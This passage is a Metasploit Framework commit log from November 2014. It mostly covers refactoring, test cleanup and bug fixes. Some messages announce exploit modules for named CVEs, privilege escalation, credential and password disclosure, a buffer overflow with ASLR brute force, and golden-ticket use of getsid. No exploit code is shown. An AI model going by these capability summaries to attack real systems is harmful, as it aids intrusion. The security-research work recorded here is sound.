The `framework` from 'Msf::Simple::Framework' shared context is not
guaranteed to make threads with `framework.threads` anymore, so the
cleaner shouldn't allows be present in 'Msf::Simple::Framework'.
2014-11-14 09:14:13 -06:00
Luke Imhoff
0c6b820f7d
Remove unnecessary thread cleaning from Msf::Framework spec
...
MSP-11605
2014-11-14 09:11:35 -06:00
jvazquez-r7
428fe00183
Handle Rex::ConnectionTimeout
2014-11-13 22:34:28 -06:00
Jon Hart
57aef9a6f5
Land #4177 , @hmoore-r7's fix for #4169
2014-11-13 18:29:57 -08:00
jvazquez-r7
4a0e9b28a4
Use peer
2014-11-13 19:26:01 -06:00
jvazquez-r7
4a06065774
Manage Exceptions to not wait the full wfs_delay
2014-11-13 19:17:09 -06:00
HD Moore
2abc636f16
Merge pull request #7 from jhart-r7/landing-4177-jhart
...
Clean up failure messaging when bad CHOST
2014-11-13 18:56:12 -06:00
Juan
77e5043be9
Merge pull request #1 from FireFart/pr1
...
some changes
2014-11-13 19:54:14 -05:00
jvazquez-r7
73ce4cbeaa
Use primer
2014-11-13 18:21:19 -06:00
jvazquez-r7
0bcb99c47d
Fix metadata
2014-11-13 18:00:11 -06:00
jvazquez-r7
a5c8152f50
Use fail_with
2014-11-13 17:57:26 -06:00
jvazquez-r7
6ddf6c3863
Fail when the loader cannot find the java payload class
2014-11-13 17:55:49 -06:00
William Vu
386a1912e5
Land #4201 , release fixes
2014-11-13 15:52:24 -06:00
Christian Mehlmauer
3faa48d810
small bugfix
2014-11-13 22:51:41 +01:00
Christian Mehlmauer
7d6b6cba43
some changes
2014-11-13 22:46:53 +01:00
Matt Buck
651beb9acb
Land #4192 , enable specifying mode for Rex output file
2014-11-13 14:57:48 -06:00
Julio Auto
812aa9bc1a
Reduce number of calls to to_s and downcase
2014-11-13 14:56:17 -06:00
Tod Beardsley
e2dc862121
Fix newly introduced typo.
2014-11-13 14:53:57 -06:00
Tod Beardsley
dd1920edd6
Minor typos and grammar fixes
2014-11-13 14:48:23 -06:00
Julio Auto
e72d9bd21f
Fix report_note handling incorrect protocol names
2014-11-13 14:30:43 -06:00
Luke Imhoff
69e726e2c9
Fail if 'Msf::Framework#threads cleaner' is unnecessary
...
MSP-11605
The 'Msf::Framework#threads cleaner' shared context fails with a
RuntimeError if `framework.threads?` is false, which would indicate that
cleaning is unnecessary. This change stops 'Msf::Framework#threads
cleaner' from accessing `framework.threads`, which would create threads
only to immediately clean them up.
2014-11-13 14:22:40 -06:00
Luke Imhoff
eb3ff769a9
Msf::Framework#threads?
...
MSP-11605
`Msf::Framework#threads?` returns whether `Msf::Framework#threads` was
ever initialized. If `Msf::Framework#threads?` is true, then threads
need to be cleaned up, while if it is false then no threads need to be
cleaned up from the current framework.
2014-11-13 14:21:35 -06:00
Luke Imhoff
d9a25005a6
Wrap Msf::Framework#threads in Metasploit::Framework::ThreadFactoryProvider
...
MSP-11605
`Rex::ThreadFactory.provider` needs to be set in
`Msf::Framework#initialize`, but setting it directly to
`Msf::Framework#threads` eliminates the laziness of
`Msf::Framework#threads`. In order keep `framework.threads` lazy,
`framework` is wrapped in a
`Metasploit::Framework::ThreadFactoryProvider`, which responds to
`spawn`, which is needed by `Rex::ThreadFactory`, by calling
`framework.threads.spawn`, which lazily initialized `framework.threads`
when the first thread needs to be spawned.
2014-11-13 14:08:26 -06:00
Joe Vennix
714ce2f3ce
Land #4198 , @trosen-r7's fixes to XML import.
2014-11-13 14:07:12 -06:00
sinn3r
5a54537cbc
Land #4196 - MS14-064 bypassing UAC
2014-11-13 13:55:31 -06:00
Luke Imhoff
0bc27334c1
Thread-safe lazy Msf::Framework#db
...
MSP-11605
Switch `Msf:Framework#db` from being set in `#initialize` to a custom
method that uses `||=` to lazily initialize the `Msf::DBManager` inside
a `synchronize` block to make it thread safe.
2014-11-13 13:38:53 -06:00
Luke Imhoff
92adaa816f
Store Msf::Framework#initialize options
...
MSP-11605
Store options `Hash` passed to `Msf::Framework#new` in `#options` so
that lazily initialized children, such as DBManager, have access to
those options.
2014-11-13 13:23:17 -06:00
Luke Imhoff
bc181f0294
Thread-safe lazy Msf::Framework#sessions
...
MSP-11605
Switch `Msf::Framework#sessions` from being set in `#initialize` to a
custom method that uses `||=` to lazily initialize the
`Msf::SessionManager` inside a `synchronize` block to make it thread
safe.
2014-11-13 13:17:57 -06:00
Trevor Rosen
0959ef3d13
Fixes lack of support for MetasploitV5 tag
...
#4184
* Appears to have been overlooked somehow in the pre-BlackHat crunch
* V5 will not support credentials
* We are implementing full-workspace zip import/export for credentials
2014-11-13 13:01:55 -06:00
Samuel Huckins
cd7b69b699
Land #4197 , blank username failure fix
2014-11-13 12:59:22 -06:00
Samuel Huckins
768d7477d7
metasploit-credential bump to 0.13.3
...
MSP-11609
2014-11-13 12:56:58 -06:00
David Maloney
49f10e6ed8
use latest version of metasploit-credential
...
MSP-11609
2014-11-13 11:26:05 -06:00
Luke Imhoff
216c3d01de
Thread-safe lazy Msf::Framework#threads
...
MSP-11605
Switch Msf::Framework#threads to a custom method that uses `||=` to
lazily initialize the `Msf::ThreadManager` inside a `synchronize` block
to make it thread safe.
2014-11-13 11:12:43 -06:00
Luke Imhoff
8fc683d75d
Use MonitorMixing in Msf::Framework
...
MSP-11605
To get access to `#synchronize` for thread-safe lazy initialization.
2014-11-13 11:11:34 -06:00
David Maloney
ccc5bbd745
this spec needs to use the username factory
...
:metasploit-credential_public factory will randomly
return either a Username or BlankUsername and thus is
not appropriate for when you want tos et an explicit Username.
The :metasploit_credential_username factory should be used for this
instead
MSP-11609
2014-11-13 10:58:03 -06:00
Luke Imhoff
55aa32c6b6
Merge branch 'feature/MSP-11147/thread-leak-detection' into feature/MSP-11605/lazy-thread-creation
...
MSP-11605
2014-11-13 10:14:22 -06:00
Luke Imhoff
b17b263cc7
Ignore debugger threads
...
MSP-11147
When using the debugger, it adds a thread that should be allowed and not
go towards the count.
2014-11-13 09:49:08 -06:00
Luke Imhoff
535f69b56d
Append to RUBYOPT for debugger compatibility
...
MSP-11147
When using Rubymine's debugger, the tests would run and say there were
no tests and no break points would be hit. It was determined that this
was due the Rubymine's debugger injecting itself into RUBYOPTS and only
working if it's first in RUBYOPT, which means that
'metasploit:framework:spec:threads:suite' must inject '-Ilib
-rmetasploit/framework/spec/threads/logger' at the end of RUBOPT instead
of the beginning.
2014-11-13 09:19:07 -06:00
Juan Escobar
17032b1eed
Fix issue reported by FireFart
2014-11-13 04:48:45 -05:00
Peregrino Gris
80a9fa4b5d
Ports default values added, is_internal REX function added, reference added
2014-11-13 10:10:25 +01:00
jvazquez-r7
31f3aa1f6d
Refactor create packager methods
2014-11-13 01:16:15 -06:00
jvazquez-r7
38a96e3cfc
Update target info
2014-11-13 00:56:42 -06:00
jvazquez-r7
e25b6145f9
Add module for MS14-064 bypassing UAC through python for windows
2014-11-13 00:56:10 -06:00
jvazquez-r7
f081ede2aa
Land #4155 , @pedrib's module for CVE-2014-8499
...
* Password Manager Pro privesc + password disclosure
2014-11-12 23:56:26 -06:00
Joe Vennix
ea6d8860a1
Not root, just arbitrary permissions.
2014-11-12 21:51:55 -06:00
Jon Hart
ebf6fe4e56
Minor style cleanup
2014-11-12 16:44:43 -08:00
sinn3r
a5009170e7
Land #4185 - Add CVE-2014-6352 (ms14-060 aka sandworm)
2014-11-12 17:11:43 -06:00
Trevor Rosen
f658efe144
Add the ability to specify mode in Rex output file
...
* Because sometimes you might want to append
* Preserves original hardcoded 'wb' as default
* http://pubs.opengroup.org/onlinepubs/009695399/functions/fopen.html
2014-11-12 16:08:03 -06:00
Jon Hart
07a1653e57
Add gather module for Quake servers
2014-11-12 13:32:56 -08:00
Pedro Ribeiro
9df31e950f
Add OSVDB id
2014-11-12 21:32:33 +00:00
Tod Beardsley
bfc7bfdd9a
Land #4179 , Meterpreter_bins update
...
Actually fixes #3787 as well, since this is the last component needed to
fix that.
See rapid7/meterpreter#102
Also see
https://github.com/rapid7/meterpreter_bins/commit/055eddeb183db30bfa0586652753c3e080d97273
as this brings the shipping binaries up to day with 055eddeb
2014-11-12 15:14:20 -06:00
sinn3r
846dbc7432
Fix #4163 - Update merge_check_key to keep up with 2.1.4 change
...
The merge_check_key method (found in Msf::Module::ModuleInfo)) uses
respond_to? to check is our object includes a merge_info_description
method before merging descriptions. The respond_to? method in 2.1.4
by default no longer checks private and protected methods, and this
is breaking our merge_check_key method.
Fix #4163
2014-11-12 13:46:14 -06:00
Luke Imhoff
cca82f4b36
Failing spec for Msf::Framework.new threads
...
MSP-11605
`Msf::Framework.new` creates 8 threads (change from 1 thread to 9 threads), but
it shouldn't create any threads.
2014-11-12 13:41:30 -06:00
Luke Imhoff
2fc6154ce9
Update db/schema.rb
...
MSP-11147
Must be missing on master too.
2014-11-12 13:33:21 -06:00
Tod Beardsley
54158c8662
Land #4005 , TNS poison checker
2014-11-12 13:29:59 -06:00
Tod Beardsley
d242bc220b
Minor fixups and disclosure date for TNS module
2014-11-12 13:25:10 -06:00
Tod Beardsley
955a5142ca
Edit e-mail address for antispam
2014-11-12 13:19:04 -06:00
Luke Imhoff
69043d51e0
Merge branch 'master' into feature/MSP-11147/thread-leak-detection
...
MSP-11147
2014-11-12 12:34:25 -06:00
Luke Imhoff
44f78c21b2
Tag Msfcli spec as content
...
MSP-11147
Tests currently use the real modules directory for test cases, so the
spec should be tagged with :content because it has same performance
issues as other content specs that can potentially load all the modules.
2014-11-12 12:27:33 -06:00
Luke Imhoff
3ff87c89fe
Clean up Msf::Framework spec thread-leaks
...
MSP-11147
2014-11-12 12:20:23 -06:00
Luke Imhoff
22cbc5ca02
Use named subject instead of subject
...
MSP-11147
2014-11-12 12:18:08 -06:00
Luke Imhoff
61109d5567
Fix thread-leaks in msfcli spec
...
MSP-11147
2014-11-12 12:13:53 -06:00
Fernando Arias
e05cd95c9b
Land #4188 , remerge of #4168
...
update gemspec for metasploit-credential
2014-11-12 11:26:57 -06:00
David Maloney
e0163a325d
update metasploit-credential to 0.13.2
2014-11-12 11:16:51 -06:00
Luke Imhoff
5d48f123f6
Add #4045 to CHANGELOG
2014-11-12 11:15:58 -06:00
David Maloney
c937982a28
Merge branch 'master' into bug/MSP-11592/blank-password-failure
2014-11-12 11:13:58 -06:00
David Maloney
758fee6320
Merge branch 'master' of github.com:rapid7/metasploit-framework
...
Conflicts:
Gemfile.lock
2014-11-12 11:13:33 -06:00
Luke Imhoff
ad811dc70c
CHANGELOG template for next release
2014-11-12 11:13:22 -06:00
Luke Imhoff
ad4ee3cffd
Merge branch 'master' of rapid7.github.com:/rapid7/metasploit-framework
2014-11-12 11:10:48 -06:00
Luke Imhoff
1fd8fe57df
Merge staging/great-backport to master
...
Conflicts:
spec/lib/msf/core/module_spec.rb
2014-11-12 11:08:18 -06:00
Joe Vennix
1895311911
Change URL to single line.
2014-11-12 10:56:51 -06:00
sinn3r
ac4b2bee4d
Land #4181 - Fix nil URIPORT in get_uri (HttpServer)
2014-11-12 10:54:16 -06:00
Peregrino Gris
529f749abb
Add post-exploitation module to get FW filtering rules
2014-11-12 17:38:49 +01:00
Joe Vennix
8689b0adef
Add module for samsung knox root exploit.
2014-11-12 09:53:20 -06:00
jvazquez-r7
70589668c2
Really land the #4130 module
2014-11-12 09:39:01 -06:00
Jon Hart
e658640014
Show uniq error count
2014-11-12 07:38:07 -08:00
jvazquez-r7
ece8013d7a
Use #empty?
2014-11-12 09:35:06 -06:00
jvazquez-r7
f048463ed6
Do minor fixupts
...
* Delete peer method
* Make verifications more strict
2014-11-12 09:33:49 -06:00
Jon Hart
b05198c05a
Clean up failure messaging when bad CHOST
2014-11-12 07:32:06 -08:00
jvazquez-r7
a5c87db65e
Do minor cleanup
...
* Beautify description
* Use double quotes for interpolation
2014-11-12 09:29:53 -06:00
jvazquez-r7
e1164d3e14
Use snake_case on filename
2014-11-12 09:26:47 -06:00
Luke Imhoff
8adc80fff1
Sort context entries
...
MSP-11147
2014-11-12 09:16:37 -06:00
Luke Imhoff
9766e61b7b
Update Msfcli#engage_mode spec style
...
MSP-11147
2014-11-12 09:08:36 -06:00
Jon Hart
ae339cb59f
Land #4174 , @hmoore-r7's fix for #4170
2014-11-12 07:02:22 -08:00
jvazquez-r7
c35dc2e6b3
Add module for CVE-2014-6352
2014-11-12 01:10:49 -06:00
William Vu
b2612eaf1c
Land #4180 , Metasploit Trail banner
...
Homage to Oregon Trail. :)
2014-11-11 16:28:46 -06:00
William Vu
adad3809cc
Rename logo file
2014-11-11 16:07:44 -06:00
William Vu
89a8d27602
Fix port 0 bug in URIPORT
2014-11-11 15:57:41 -06:00
Joshua Smith
329ea4fe01
the masterpiece is complete
2014-11-11 15:35:36 -06:00
Luke Imhoff
c0a3707c52
Update Msfcli#init_modules spec style
...
MSP-11147
2014-11-11 15:29:21 -06:00
William Vu
c73a866932
Land #4178 , remerge of #4113
2014-11-11 15:23:40 -06:00
OJ
fb751e3b9f
Update meterpreter_bins to 0.0.11
...
This adds support for the getsid command in the binaries.
2014-11-12 07:21:00 +10:00
Tod Beardsley
7e05f88399
Reapply PR #4113 (removed via #4175 )
2014-11-11 15:06:43 -06:00
HD Moore
6b4eb9a8e2
Differentiate failed binds from connects, closes #4169
...
This change adds two new Rex exceptions and changes the local comm to raise the right one depending on the circumstances. The problem with the existing model is
that failed binds and failed connections both raised the same exception. This change is backwards compatible with modules that rescue Rex::AddressInUse in additi
on to Rex::ConnectionError. There were two corner cases that rescued Rex::AddressInUse specifically:
1. The 'r'-services mixin and modules caught the old exception when handling bind errors. These have been updated to use BindFailed
2. The meterpreter client had a catch for the old exception when the socket reports a bad destination (usually a network connection dropped). This has been updat
ed to use InvalidDestination as that was the intention prior to this change.
Since AddressInUse was part of ConnectionError, modules and mixins which caught both in the same rescue have been updated to just catch ConnectionError.
2014-11-11 14:59:41 -06:00
William Vu
2a6d288fe8
Land #4176 , revert of 14514d7
2014-11-11 14:57:40 -06:00
Tod Beardsley
64aaa50132
Revert 14514d7 as well
...
Another one snuck in there, see #4175
Revert "update gemspec for metasploit-credential"
This reverts commit 14514d7b8b , reversing
changes made to 6653d5e913 .
2014-11-11 14:53:04 -06:00
Luke Imhoff
bb07de3294
Update Msfcli#generate_whitelist spec style
...
MSP-11147
2014-11-11 14:49:48 -06:00
William Vu
baf7065e1b
Land #4175 , revert of deea30d
2014-11-11 14:43:48 -06:00
Tod Beardsley
017a44c0ae
Revert errored merge of deea30d
...
Revert "Merge branch 'master' of https://github.com/farias-r7/metasploit-framework into upstream-master"
This reverts commit deea30ddb4 , reversing
changes made to 14514d7b8b .
2014-11-11 14:38:47 -06:00
Luke Imhoff
965607c7dc
Update Msfcli#guess_nop_name spec style
...
MSP-11147
2014-11-11 14:16:55 -06:00
Luke Imhoff
577065f68d
Update Msfcli#guess_encoder_name spec style
...
MSP-11147
2014-11-11 14:14:50 -06:00
David Maloney
2d4cc8b21c
update gemfile.lock to credential 13.2
2014-11-11 13:49:47 -06:00
Luke Imhoff
d36da497d0
Update Msfcli#guess_payload_name spec style
...
MSP-11147
2014-11-11 13:47:16 -06:00
Fernando Arias
deea30ddb4
Merge branch 'master' of https://github.com/farias-r7/metasploit-framework into upstream-master
2014-11-11 13:36:50 -06:00
Fernando Arias
14514d7b8b
update gemspec for metasploit-credential
2014-11-11 13:35:00 -06:00
Luke Imhoff
1f1af70047
Update Msfcli#usage spec style
...
MSP-11147
2014-11-11 13:22:28 -06:00
HD Moore
dbd5937dc7
Limit threads to 1 when CPORT is set, closes #4170
...
This issue also applies to TCP scanner modules.
2014-11-11 13:21:09 -06:00
Luke Imhoff
ebec5329df
Update Msfclie#dump_module_list spec style
...
MSP-11147
2014-11-11 13:21:06 -06:00
Luke Imhoff
56b53b0dcd
Remove redundant 'it' in text name
...
MSP-11147
2014-11-11 13:16:45 -06:00
Luke Imhoff
5d6aec8bed
Fix context prefix
...
MSP-11147
Instance methods should be prefixed with `#`, not `.`.
2014-11-11 13:14:34 -06:00
Luke Imhoff
a6fed7798e
Update Msfcli#usage spec style
...
MSP-11147
2014-11-11 13:11:40 -06:00
Luke Imhoff
c6f115d070
Update Msfcli#initialize spec style
...
MSP-11147
2014-11-11 13:11:05 -06:00
sinn3r
719db5d2b1
Fix #4119 - SMB lost search ID (sid) in find_first method
...
This will fix issue #4119 . A bug in the find_first method in rex
SMB.
When the SMB client requests a TRANS2_FIND_FIRST2 for retriving
information about what items a directory has, the server returns
a response that contains an SID - a search identifier for the
transaction. If the SMB client wants more data, it must send a
TRANS2_FIND_NEXT2 request with the same SID. And then the server
will continue sending more until it runs out.
The root cause of this bug is that after the TRANS2_FIND_FIRST2
request is sent, our SMB's find_first method forgets the SID at
the end of the loop (out of scope).
2014-11-11 12:35:07 -06:00
Jon Hart
9238d80a24
Use correct source port for NBNS spoofer
...
137 is only correct for systems that use this as their source port.
Systems running Samba, for example, don't use this. So use the port
taken from the original request, not 137 or 1337
2014-11-11 10:33:27 -08:00
Luke Imhoff
86379db65c
Remove incorrect 'Class methods' context
...
MSP-11147
2014-11-11 12:32:22 -06:00
Luke Imhoff
36ab73b83a
Extract Msfcli#framework
...
MSP-11147
Expose Msfcli @framework as Msfcli#framework so that it can be set in
tests. It also allows Msfcli#framework to lazily initialize and memoize
to @framework.
2014-11-11 12:25:14 -06:00
Jon Hart
5b1b7c22bb
Minor test/style cleanup
2014-11-11 10:18:56 -08:00
Jon Hart
51e84ce548
Add unit tests, complete extraction/cleanup
2014-11-11 10:18:49 -08:00
Jon Hart
a9927891a8
Fill out steam module metadata
2014-11-11 10:18:40 -08:00
Jon Hart
f8eea6c5f3
Add initial aux module to fingerprint/gather from Steam servers
2014-11-11 10:18:32 -08:00
Luke Imhoff
cf0ecd0367
Fix thread leaks in TaskManager spec
...
MSP-11147
2014-11-11 12:02:14 -06:00
HD Moore
96ba6da697
Add the UDP scanner template, lands #4113 .
...
There is some additional work to do regarding CHOST/CPORT, but this is not tied to the udp template changes.
2014-11-11 11:59:30 -06:00
Luke Imhoff
eede74be1e
Extract 'Msf::Framework#threads cleaner'
...
MSP-11147
Extract from 'Msf::Simple::Framework' the `after(:each)` that kills and joins
threads from `framework.threads` into 'Msf::Framework#threads cleaner`.
2014-11-11 11:49:48 -06:00
jvazquez-r7
6653d5e913
Land #4168 , @nullbind's MS SQL SUSER_SNAME login enumeration module
2014-11-11 11:17:39 -06:00
jvazquez-r7
01fda27264
Fix title
2014-11-11 11:15:53 -06:00
jvazquez-r7
a588bfd31a
Use single quotes
2014-11-11 09:56:46 -06:00
jvazquez-r7
77c8dc2b64
Dont return nil from 'run'
2014-11-11 09:39:08 -06:00
jvazquez-r7
fb309aae11
Use a Fixnum as FuzzInt default value
2014-11-11 09:36:53 -06:00
jvazquez-r7
f6762b41b6
Use random fake db name
2014-11-11 09:35:51 -06:00
jvazquez-r7
94c353222d
Do small cosmetic changes
2014-11-11 09:31:57 -06:00
jvazquez-r7
e9e5869951
update from master
2014-11-11 09:24:33 -06:00
Nikita
c0285067c9
Add new module to test TNS poison
...
msf auxiliary(tnspoison_checker) > show options
Module options (auxiliary/scanner/oracle/tnspoison_checker1):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.2.100, 172.16.2.24, 172.16.2.101 yes The target address range or CIDR identifier
RPORT 1521 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(tnspoison_checker) > exploit
[+] 172.16.2.100:1521 is vulnerable
[*] Scanned 1 of 3 hosts (033% complete)
[-] 172.16.2.24:1521 is not vulnerable
[*] Scanned 2 of 3 hosts (066% complete)
[-] 172.16.2.101:1521 unable to connect to the server
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
2014-11-11 17:29:27 +03:00
Juan Escobar
ac17780f6d
Fix by @FireFart to recover communication with the application after a meterpreter session
2014-11-11 05:49:18 -05:00
Juan Escobar
6bf1f613b6
Fix issues reported by FireFart
2014-11-11 00:41:58 -05:00
jvazquez-r7
091da05a86
update from master
2014-11-10 22:59:44 -06:00
OJ
39b8bcc808
Merge branch 'upstream/master' of github.com:rapid7/metasploit-framework
2014-11-11 09:25:37 +10:00
OJ
4987f77526
Land #4157 - Add getsid to python meterpreter
2014-11-11 09:24:51 +10:00
jvazquez-r7
3faf4a4702
Land #4120 , @nullbind's module for MS SQL privilege escalation
...
* through ESCALATE AS
2014-11-10 16:59:28 -06:00
jvazquez-r7
cac6494427
Use snake_case in filename
2014-11-10 16:58:46 -06:00
jvazquez-r7
2c33642de8
Do minor cleanup
2014-11-10 16:57:57 -06:00
jvazquez-r7
12ae8b3ec6
update from master
2014-11-10 16:19:26 -06:00
nullbind
493b81d874
cleanup
2014-11-10 15:22:21 -06:00
nullbind
31fa57fcb2
mssql_enum_sql_logins
2014-11-10 15:19:55 -06:00
Scott Sutherland
d543b16cc1
Added mssql_enum_sql_logins.rb
2014-11-10 15:02:46 -06:00
Scott Sutherland
ea226f7482
Update mssql_enum_sql_logins.rb
2014-11-10 15:02:14 -06:00
jvazquez-r7
0a68171bab
Land #4166 , @wchen-r7's fix for undefined method `rank'
...
* Fixes #4047
* undefined method `rank' due to an invalid encoder name
2014-11-10 15:00:17 -06:00
David Maloney
bf1558d702
update gemspec for metasploit-credential
...
update gemspec to use newest metasploit-credential
MSP-11592
2014-11-10 14:54:09 -06:00
Juan Escobar
d4bbf0fe39
Fix issues reported by wchen-r7 and mmetince
2014-11-10 15:27:10 -05:00
jvazquez-r7
86ff5f93eb
Land #4158 , Fix for null dereference on Exploit::Remote::HttpServer#remove_resource
2014-11-10 14:14:48 -06:00
jvazquez-r7
4e96833408
Check service before using it
2014-11-10 14:14:20 -06:00
jvazquez-r7
1064049729
Revert "Fix buggy calls to stop_service"
...
This reverts commit 613f5309bb .
2014-11-10 14:05:57 -06:00
Pedro Ribeiro
cc99a6a96f
Merge pull request #9 from jvazquez-r7/review_4155
...
Clean exploit for CVE-2014-8499 - PMP privesc + password disclosure
2014-11-10 19:44:28 +00:00
nullbind
74344e9295
added mssql_enum_sql_logins
2014-11-10 13:42:52 -06:00
sinn3r
0b51741779
Fix #4047 - undefined method `rank' due to an invalid encoder name
...
Fix #4047 caused by an invalid encoder name. Also added elog() to
avoid shutting everything up in msfvenom
2014-11-10 13:25:53 -06:00
jvazquez-r7
4b701700c1
Fix banner
2014-11-10 12:40:53 -06:00
Jon Hart
7ed11ffd52
Check for INTERFACE or SMAC in dtp setup
2014-11-10 10:14:47 -08:00
jvazquez-r7
65dbb1a83f
Do print_status
2014-11-10 11:26:53 -06:00
jvazquez-r7
7aed1e9581
Create loot_passwords method
2014-11-10 11:21:44 -06:00
jvazquez-r7
92df11baa7
Create report_super_admin_creds method
2014-11-10 11:16:25 -06:00
jvazquez-r7
8f17011909
do run clean up
...
* Reduce code complexity
* Don't report not valid administrator credentials
2014-11-10 11:12:04 -06:00
jvazquez-r7
635df2f233
Fail with NoAccess
2014-11-10 09:50:26 -06:00
jvazquez-r7
9c033492d2
Fix indentation
2014-11-10 09:48:22 -06:00
jvazquez-r7
2236518694
Check res.body before accessing #to_s
2014-11-10 09:47:05 -06:00
jvazquez-r7
8b8ab61e3d
Favor && over and
2014-11-10 09:45:12 -06:00
jvazquez-r7
ee4924582a
Use target_uri
2014-11-10 09:43:44 -06:00
jvazquez-r7
8ddd6a4655
Redefine RPORT having into account it is builtin
2014-11-10 09:42:30 -06:00
jvazquez-r7
eb36a36272
Change title
2014-11-10 09:40:22 -06:00
Trevor Rosen
8511dc4131
Merge branch 'landing/4135' into upstream-master
...
Land #4135
* Improve Bundle management:
* Option to install w/out DB group
* Option to install w/out pcap support
2014-11-10 09:26:42 -06:00
Spencer McIntyre
7edc248207
Don't fail if username_from_token returns None
2014-11-10 09:15:16 -05:00
floyd
9d848c8c3b
Adding tincd post-auth stack buffer overflow exploit module for several OS
...
Minor changes to comments
Updated URLs
Added Fedora ROP, cleaned up
Fixing URLs again, typos
Added support for Archlinux (new target)
Added support for OpenSuse (new target)
Tincd is now a separate file, uses the TCP mixin/REX sockets.
Started ARM exploiting
Style changes, improvements according to egyp7's comments
Style changes according to sane rubocop messages
RSA key length other than 256 supported. Different key lengths for client/server supported.
Drop location for binary can be customized
Refactoring: Replaced pop_inbuffer with slice
Refactoring: fail_with is called, renamed method to send_recv to match other protocol classes,
using rand_text_alpha instead of hardcoded \x90,
Fixed fail command usage
Version exploiting ARM with ASLR brute force
Cleaned up version with nicer program flow
More elegant solution for data too large for modulus
Minor changes in comments only (comment about firewalld)
Correct usage of the TCP mixin
Fixes module option so that the path to drop the binary on the server is not validated against the local filesystem
Added comments
Minor edits
Space removal at EOL according to msftidy
2014-11-10 12:03:17 +01:00
Meatballs
feaae6d531
Merge remote-tracking branch 'upstream/master'
2014-11-10 09:42:34 +00:00
Joshua Smith
1844b3956d
Land #4063 allow session lists
...
Note: the parsing for cmd_sessions needs to be revamped and DRYd up in
a separate PR.
2014-11-09 22:40:53 -06:00
Joshua Smith
03a988b5dc
Land #4150 , adds getsid command
...
Fixes #3787
2014-11-09 22:10:22 -06:00
William Vu
88810ce836
Land #4161 , "fullname" NilClass fix
2014-11-09 20:07:37 -06:00
William Vu
0e772cc338
Land #4161 , "stop" NilClass fix
2014-11-09 19:37:32 -06:00
OJ
eb830cb361
Idiomaticise the rubies
2014-11-10 07:44:36 +10:00
sinn3r
7980a7052c
Fix #4132 - msfvenom undefined method fullname for NilClass
2014-11-09 14:27:59 -06:00
sinn3r
8f3b1e71b3
Fix #4156 - NoMethodError undefined method `stop'
...
This will fix #4156 . It also fixes NoMethodError payload_exe
when I was trying to fix the undef 'stop' one
2014-11-09 14:07:02 -06:00
sinn3r
cd0dbc0e24
Missed another
2014-11-09 14:06:39 -06:00
Juan Escobar
9cce7643ab
update description and fix typos
2014-11-09 09:10:01 -05:00
Juan Escobar
5d17637038
Add CVE-2014-7146 PHP Code Execution for MantisBT
2014-11-09 08:00:44 -05:00
Pedro Ribeiro
b3c27452cd
Add full disclosure URL
2014-11-09 10:40:41 +00:00
Julio Auto
613f5309bb
Fix buggy calls to stop_service
2014-11-09 02:15:30 -06:00
Deral Heiland
5bf8901822
Fixed several recommended changes by jvazquez-r7, Also Correct a XML parsing issue
2014-11-09 02:43:36 -05:00
Spencer McIntyre
104841babf
Add getsid to the python meterpreter
2014-11-08 20:57:24 -05:00
jvazquez-r7
bc5529396f
Land #4137 , @pedrib's module for Eventlog CVE-2014-6038/6039
2014-11-08 08:12:11 -06:00
Pedro Ribeiro
f680b666c7
Add github adv URL
2014-11-08 11:29:36 +00:00
Pedro Ribeiro
143033f657
Rename manageengine_pmp_sadmin.rb to manageengine_pmp_privesc.rb
2014-11-08 11:28:04 +00:00
Pedro Ribeiro
2843437ca9
Create exploit for CVE-2014-8499
2014-11-08 11:24:50 +00:00
Pedro Ribeiro
7d2d0aa166
Merge pull request #8 from rapid7/master
...
bla
2014-11-08 11:22:41 +00:00
Pedro Ribeiro
e7b448537f
Add OSVDB ids
2014-11-08 11:05:34 +00:00
Pedro Ribeiro
bf7c7688c0
Merge pull request #7 from jvazquez-r7/review_4137
...
Review Eventlog Analzyer exploit for CVE-2014-6038/6039
2014-11-08 11:04:28 +00:00
jvazquez-r7
9d6e0664a4
Guess service name and port
2014-11-07 20:56:01 -06:00
jvazquez-r7
a44640c9fc
Use single quotes
2014-11-07 20:48:04 -06:00
jvazquez-r7
7c1c08fc19
Use single quotes without interpolation
2014-11-07 20:46:47 -06:00
jvazquez-r7
0373156cce
Use unless over if not
2014-11-07 20:42:08 -06:00
jvazquez-r7
f5a920da99
Use || operator
2014-11-07 20:41:44 -06:00
jvazquez-r7
64754a5609
Delete unnecessary begin..end block
2014-11-07 20:38:36 -06:00
jvazquez-r7
0919f74a3d
Delete unused variable
2014-11-07 20:37:57 -06:00
jvazquez-r7
22b875d0f3
Reduce code complexity
2014-11-07 20:37:40 -06:00
jvazquez-r7
b1517e6ace
Delete unnecessary nil comparision
2014-11-07 20:34:13 -06:00
jvazquez-r7
aa1fec7f02
Use fail_with
2014-11-07 20:33:33 -06:00
jvazquez-r7
d630eac272
Reduce code complexity
2014-11-07 20:32:15 -06:00
jvazquez-r7
cea30b5427
Use built-in format for RPORT
2014-11-07 20:30:32 -06:00
jvazquez-r7
e99cc00a57
No more than 100 columns on description
2014-11-07 20:29:38 -06:00
William Vu
a830c28012
Land #4151 , downcase nil deref. fix
2014-11-07 11:43:22 -06:00
Jon Hart
2b7d25950b
Land #4148 , @wchen-r7 fixed #4133
2014-11-07 08:26:29 -08:00
sinn3r
e54442af36
Fix #4089 - undefined method `downcase' for nil:NilClass
2014-11-07 02:45:22 -06:00
sinn3r
0dbfecba36
Better method name
...
Should be srvhost, not lhost
2014-11-07 02:23:34 -06:00
Pedro Ribeiro
c00a3ac9cd
Add full disclosure URL
2014-11-07 08:06:21 +00:00
OJ
08e707225c
Add support for the getsid command
...
There has been Meterpreter work done as well to support this. But this
commit allows for a new 'getsid' command which tells you the sid of the
current process/thread. This can be used for things like determining
whether the current process is running as system. It could also be used
for golden ticket creation, among other things.
2014-11-07 10:38:22 +10:00
Trevor Rosen
b5220c8881
Update metasploit-framework-full.gemspec
...
Fix typo
2014-11-06 17:07:48 -06:00
Pedro Ribeiro
8a0249cdbf
Address Juan's points
2014-11-06 21:02:28 +00:00
sinn3r
579481e5f8
Explain why I did this
...
Also tagging Fix #4133
2014-11-06 14:25:11 -06:00
sinn3r
f210ade253
Use SRVHOST for msvidctl_mpeg2
2014-11-06 14:23:21 -06:00
Luke Imhoff
8416985c9d
Give Threads UUIDs for spec run so caller can be correlated
...
Have 'metasploit/framework/spec/threads/suite/logger' generate a UUID
for each Thread. This UUID is printed on the "BEGIN Thread.new caller"
line and is assigned as a thread-local variable,
